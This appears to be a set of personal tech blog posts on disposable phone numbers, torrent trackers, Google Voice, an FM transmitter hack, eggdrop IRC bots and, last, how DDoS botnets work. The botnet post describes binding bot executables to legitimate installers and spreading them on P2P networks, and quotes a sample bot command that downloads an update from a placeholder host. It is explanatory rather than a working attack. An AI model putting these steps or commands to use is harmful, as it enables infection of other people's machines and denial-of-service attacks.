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inumbr – Throwaway Telephone Numbers

I ran accross an interesting little web service called inumbr which gives you a free disposable phone number. At first glance, you get to choose an area code. There are twenty two to choose from, so you’re bound to find one close to your location (if you are in the United States that is). You also get to choose how long the number is active: one hour, one day, or one week. Then you enter the number to forward too and an email address for activation. Pretty simple, right?

After registering I notices I received a number and an extension anyone could call to reach me. I also saw I was given the option to record a personal greeting. It also appeared that I did not even need a valid email address to get a number as I didn’t have to click any activation links. The number was just handed to me in-browser. I went back to the inumbr home page and notices that I could manage my inumbr account by logging in with the number they gave me and the number I chose to forward it to. Here, I was presented with more options for my inumbr.

I saw that I could change the length of the number’s lifespan between the three mentioned terms before, as well as a one month option that wasn’t there earlier. I also saw that they gave a slot for a second number in case the first was unreachable. After that, there are many check boxes for additional features. “Don’t accept calls from blocked caller ids,” “Don’t accept calls from suspected telemarketers,” “Forward all calls directly to voicemail,” “Do not disturb from 9PM to 8AM,” “Turn off call screening,” “Activate voicemail for missed calls.”

So in all, I got a free throwaway number with a handful of features. This is great if you have to supply a number for something and don’t want to reveal an actual one, or maybe just see how you can mess around with phones.

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Modern BitTorrent Hydra

Most people are aware of GGF’s acquisition of The Pirate Bay and the plan to turn it into a legal pay-site. The Pirate Bay, as many know, has served the BitTorrent community as a large public tracker/indexer as well as something of a project team known for relaunching Suprnova, ShareReactor, as well as original sites such as bayimg. Proving to be an old favorite, the acquisition of TPB marks a sad day in BitTorrent history. Despite this, the hydra theory comes in to play: when one head is cut off, two grow in its place. Though as of right now the TPB website remains active in something of a weakened state (the trackers are down) there are already a slew of alternatives available to the BitTorrent community.

Besides TPB, many other tracker/indexer sites have been around for a long amount of time. For example, H33T and SUMMOTorrent (and Demonoid to an extent) offer both in-house trackers and indexes. Other indexing sites, such as Mininova or TorrentBox offer free use with 3rd-party public trackers such as  OpenTracker. Next to these public trackers are private torrent sites that usually require a user to be invited to it by another. These private trackers offer a level of safety due to their exclusivity, but are by no means completely safe from anti-piracy outfits.

Since the acquisition of TPB was announced, many new sites have popped up to offer new outlets to BitTorrent users.

Starting off, there have been a few public trackers popping up that look promising. The first being OpenBitTorrent, which from research proves to be the trackers from TPB using a new name (so the offline time for them is questionable). A similar project using the same software, but this time spearheaded by the administrator of BTJunkie, is known as PublicBT. These two trackers are virtually identical in use and message. They are simply for the tracking of torrents with no needed registration or limitations.

Besides these two trackers, a third entitled TheHiddenTracker should be noted for an interesting execution. TheHiddenTracker hides itself and its connections using TOR. Many torrent users know not to transfer files over TOR as it is slow and degrades service, but in this case, only the tracker is reached through TOR and file sharing happens normally. To use this tracker, one would have to either install TOR, or use a handy web service entitled tor2web that allows an internet user to access TOR addresses without downloading any additional software.

Now that there are new trackers, there are also some practical and interesting ways to share them amongst others. First off, if one possessed any torrents utilizing the old TPB trackers, these torrents could easily be edited to reflect new trackers using TorrentEditor, which helps edit torrent files online.

One interesting way to share torrent files is through the use of a service called Hid.im which will turn a torrent file into an image. This way, torrent files can easily be shared in places like forums or social networking sites. Anywhere an image can be hosted can now host a torrent.

Another service entitled Torrage (combinging the words Torrent and Storage) attempts to hold torrents without providing a search function. The only way torrents can be found through this website is if a user knows the info hash that the site generates for every torrent upload. Some torrent indexing sites are already utilitzing this as a way to store torrents more effectively, in a more decentralized manner.

Last but not least, isoHunt recently launched a “social networking torrent site” by the name of Hexagon.cc. Hexagon is made up of a bunch of different, smaller groups within the whole of the website. So say thay you are a fan of Creative Commons content. You can then join the group, download torrents associated with the group, and engage in discussions. Besides the public groups, there are also private groups that can only be accessed and seen through invites. They are also apparently SSL encrypted for added protection. Even though the site is less than a week old, it already houses over 45,000 torrents and is growing every day. The site is currently only joinable through the use of invites, but expect it to open up more as it expands.

So although TPB appears to be burning down (though some argue that the acquisition is doomed) loyal torrenters can rest assured that new services will rise from the ashes. Things such as The Hydra Project and (the now defunct) Securep2p project could come to light and revolutionize how people think about file sharing. The end of an era may be upon us, but a new chapter of BitTorrent history is being written as we speak.

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Google Gives Voice

So it is probably common knowledge now that Google has unveiled the Google Voice service which is pretty groovy. I didn’t jump on the boat when most people did. I heard some buzz about it, but didn’t really know what it was and dismissed it as something that was probably related to Google Talk. After I understood the concept of getting a number for all your phones and some interesting features, all for free, I thought I might as well see what it was all about.

The invite process was a lot less hassle then I’d guess most thought it was. I knew some people that signed up for an invite years ago when the service was still called GrandCentral. These people that requested invites years ago were just receiving them now which suggested the invite system was really backed up. I took my chances and put in for an invite. About five days later, I received an email telling me to pick up my new account. This part is easy enough. You go through the steps, the best being picking your number. Thankfully, you can search them using letters as well as numbers, so I could throw in a significant phrase and hope that it would spit back a local number. After maybe a half hour of debating, I settled on a number and was greeted by the Google Voice dashboard.

The dashboard, as you can see in the low resolution picture above, is almost a complete clone of the Gmail dashboard. This was great news for me as I am very familiar with using Gmail, and the Google Voice dashboard behaves in the same way considering placement of settings, inbox, etc. Basically, if you have used just about any email service, you should be in good shape. From here, I edited my settings, and toyed with some of the features.

I first decided that I just wanted to link the number to my cell phone, and ignore the options for house phone and work phone. I then went through the settings one by one. I added my voicemail message, as I am mainly going to use the number for that. I skipped the recording of my name as I don’t need that quite yet. I also set up notifications to use in conjunction with the voicemail. Whenever I get a voicemail, I get emailed and my cellphone receives a text message. So now, I have the ability to know if I have a message whether or not I have internet access.

Google Voice also has many privacy features. There is a call screening option that asks callers to identify themselves. Google will also provide a variety of options for when someone calls your number. You can choose to pick up the call, let it go right to voicemail, listen in on the voicemail that is being left, and even record the entirety of the call. There is also the ability to block numbers, and even allow different phones to ring depending on who calls.

Where I believe Google Voice really shines is how it handles the voicemail online. I already mentioned receiving notifications, but Google Voice goes far beyond that. For one, you can listen to the voicemail online, so just fire up your browser and point it to your account to hear what people have left. Google Voice will also automatically transcribe the voicemail, and even send it to you via email/sms if you desire. I also must add that there is a “Do Not Disturb” option which I use that will just connect a caller to voicemail without ringing any phone, so you never get annoyed with calls when you don’t want them.

In all, I can say that Google Voice is an interesting little Google project and I am interested in how they might improve upon it. I’m also interested in how people might use this in unexpected ways, considering how popular voip is these days. There are features like conference calling and free U.S. based calls which I am sure people can  find interesting uses for. If you want to try calling me, feel free to check out the widget to the right of the screen.

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Piradio

A month ago, I was in preparation for a charity event, Relay for Life. Whether or not you agree with their practices doesn’t matter. I simply used the event as a vehicle for a new project. The idea of the event is you and a group of people camp out on a football field while doing a 24-hour walkathon. I got the bright idea of creating a portable radio station for this event, so members of the group walking with radios could all get the same music from a central base of operations on the field. This was also an idea for doing an on-location podcast.

My mission started by going to Best Buy and picking up a cheap Dynex brand 4-station FM transmitter. I hooked it up to my iPod and saw that I got maybe 60 feet of good signal from the transmitter. My goal was to try to push the transmitter to do over 100 yards. A seemingly impossible goal, but I knew since this thing had no external antenna, I could solder one on somewhere and get some improvement, right?

After taking apart the unit, I was left with this,

Front of the board

Back of the board

I didn’t know where to start in my attempt to add an antenna. I tried googling off some of the numbers on the pcb but couldn’t make heads or tails of what I was looking at. I then got some help from an old friend by the name of TestMAD who was more savvy in this area than I was. He conferred with his father on this project, and they deduced that I would solder one wire to one of the three pads (you can see them on the bottom left of the pcb in the first picture) and I would have to solder another wire to ground, which I did by scraping away some of the green on the back of the board and soldering onto that.

Next, there was the matter of antenna size. The antenna size had to correspond with a particular frequency I would broadcast on. If I were to change the broadcast frequency, I would have to change the antenna size as well. Making it too long or too short could hurt the signal. So, I decided to keep transmission at 88.1MHz which would require an antenna around 33.5 inches long. There was next the choice of what type of antenna to use. A dipole or a quarter wave vertical antenna were suitable options.

A quarter wave vertical antenna using radials (picture from radio-electronics.com)

A dipole antenna (picture from wikipedia.org)

I settled on the dipole as I had an adjustable tv antenna that could fit the specifications. It was also good for portability. Later I was told that using the other antenna design could have provided more coverage, which could be something to try at a later date.

After the final assembly, I had something that looked like this,

Yep, pretty classy. I might as well point out that in that picture, the antennae are too long. The length or 33.5 inches is supposed to include both the length of the actual antenna as well as the wire used to connect it to the pcb.

So on the day I was to use this, it turns out the event was pushed inside due to possible bad weather. However, this was great news in that the football field where the event was supposed to be held was completely empty. The field also had yard markers, so I could easily see how much coverage I was getting. After sizing the antennae, powering up and walking out into the field with nothing more than a battery powered radio, I got about 75 yards before I lost the signal. I didn’t hit my goal, but I squeezed a noticeable amount of coverage out of the transmitter.

If anything, I leared a few things about transmitters and antenna design. Also, hey, now I have an FM transmitter I can use just about anywhere, for anything. Maybe it’ll pop it’s way into some other projects.

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Appleslices

A few weeks ago I struck up a conversation via twitter with a fellow by the name of ionfarmer. I thanked him for a throwback to me from a blog post he did while I, along with ethan, was still was involved with the Hak5 BBS project. We got to talking and he wrote a nice blog post regarding the ordeal on his website, which I advise everyone to check out.  Most of the posts there discuss Apple computers, as the title would suggest, but there are other topics for those out there who don’t want to keep the doctor away. The main subject of our discussion was a little-known website I started while I must have been around 14 years old entitled HackInACan. I can tell you that I don’t think anyone would want to be known by the body of work they produced at such an age, but as I once heard in a Jason Scott documentary, as a teenager you end up writing a bunch of stuff that belongs to the world and you can’t take it back. So, I present you with something that at this point belongs to the world. Please be gentle.

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Dropping Eggs

So last night, while doing nothing, I decided to full around with eggdrop irc bots. I specifically used Windrop to run on my desktop for easy testing and whatnot, but one day I hope to toss this thing on a nix shell and get it off a personal pc.

The config file was daunting. This wasn’t the first time I made one of these bots, but since I had originally, the config base file has been altered somewhat, and is far more complex. After I partly configured it, there was the problems of commenting out all the kill commands that were put in it to make sure you went through the entire file thoroughly. Needless to say, I didn’t, and probably wasted more time looking for those damn lines then it would have taken to just read the entire thing. Then there was the problem that the bot worked, but it would flip out when opped and do crazy things to the channel and people. I couldn’t fix this without reinstalling the bot, and the torment continued.

After maybe seven re-edits, the thing became stable enough to op, and utilized some key features. TCL scripts add so much functionality to these bots I wonder why anyone would use them for anything else. I mean, I can see these bots back in the day used in place for various services, but now, they are just kinda knick-knacks. TCL scripts allow regular programmers to go off and create bot code without modifying any key files. These scripts are add-ons, or modules if you will.

So now, I have all these scripts on the bot. Weather, horoscopes, seen commands, etc. It all functions well, six hours after starting. The possibly best feature I integrated into this bot is the ability to read RSS. I now have a use for these feeds I have been compiling. The beauty is, the bot will check the forums, and the rest of the site every half an hour, If something in the feed is new, the bot will announce it to the channel. Refreshing the pages waiting to see updates becomes obsolete.

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Botnets

So a little bit ago, must have been last year judging now, I was into what some call “Botnet Hunting”. As in, I would go and search for active malicious botnets, pretend to be a bot, connect, and wait out on the server to see what was going on and what information I could gather.

To understand what I was doing, there is first the concept of what a botnet is and consists of. I will specifically be talking of DDoS botnets. Every botnet starts with a person, or botnet herder. The bot herder starts by setting up an IRC server. IRC is an acronym for Internet Relay Chat, a fairly common messaging protocol based around chat on servers, and networks of servers (Such as the elcycle chat). Think chatrooms, but with much more control and capability. So, the bot herder sets up a server and configures it to not be picked up by any IRC indexing services that could expose the server to the general public in any way. Once the server is setup, the bot herder acquires a (usually free) DNS mask. The DNS mask will take the server’s Ip (internet protocol) address and give it something similar to a domain name for connection. Free ones are usually chosen from services such as No-Ip or DynDNS and are used in a temporary fashion. Nothing of the bot herder’s personal information is left with the service, because they are free.

Next, the bot herder works on the bot code. Commonly, sources are taken and modified to the herder’s liking, but sometimes these bot codes are made from scratch. Common bot scripts are created and compiled in C++ though I have seen some in other languages. The purpose of this code is to connect the victim’s machine to the irc server the bot herder had set up, and assign it a nickname based on the OS of the infected computer, as well as a number (Either random or based on the victim’s location, for example a bot nick could be “XP|73590257″). This bot code is very lightweight, designed to hide from anti-virus programs, set to run every time the computer restarts, and embedded into the registry. It would not be a surprise if you had one of these bots infecting you with no knowledge.

After the bot code is compiled into an executable ( a .exe file). The malicious file is then usually bound to another legit executable. For example, this bot file could be hidden within a Firefox installer and be launched covertly when you try to install firefox. Because of the design, you would be unaware the bot code was even being run. The binders that combine the executables are also easily found and used. Some of the programs that bot herders use come with Windows distros and are expected to be used to make install packages for mass updates.

The hardest step is distribution of the infected file. Thankfully, there are many unintelligent internet users who will blindly download and install anything as long as they think it will do what they desire. Consider releasing this application on a P2P network (Limewire, Kazaa) with a bogus name and having victims willingly download.

Once they download and run the file, that’s all it takes. The bot infects the computer, hides itself, covers its tracks, and then connects to the IRC server. Sometimes, these bots are a bit more sophisticated and can contain a RAT (Remote Access Trojan). This bot herder could gain full control of the victim’s machine, and take things like stored internet logs and credit card numbers, as well as send a copy of itself to everyone in the computer’s email address book.

Once on the IRC server, the bot joins a channel (room) and waits. The bot herder then goes to this room whenever he/she pleases and takes controls of the bots using several commands (these commands usually start with a period, for example “.upgrade http://xxxxx.com/botupdatefilename.xxx”). The main purpose of these bots is Distributed Denial of Service attacks on servers. The bot herder will issue a command to all the bots and tell them to all ping a single server. The amount of ping the server gets is too great, and causes the server to lock up and go offline. The more bots there are, the quicker this will happen. Some botnets have been found to have populations in the area of hundreds of thousands and could render a server useless quickly.

The bot herder does not always restrict this botnet to self-use, and can offer services to other groups in exchange for information, stolen passwords, money, etc. Botnets have also been used recently against various websites that deal with scientology.

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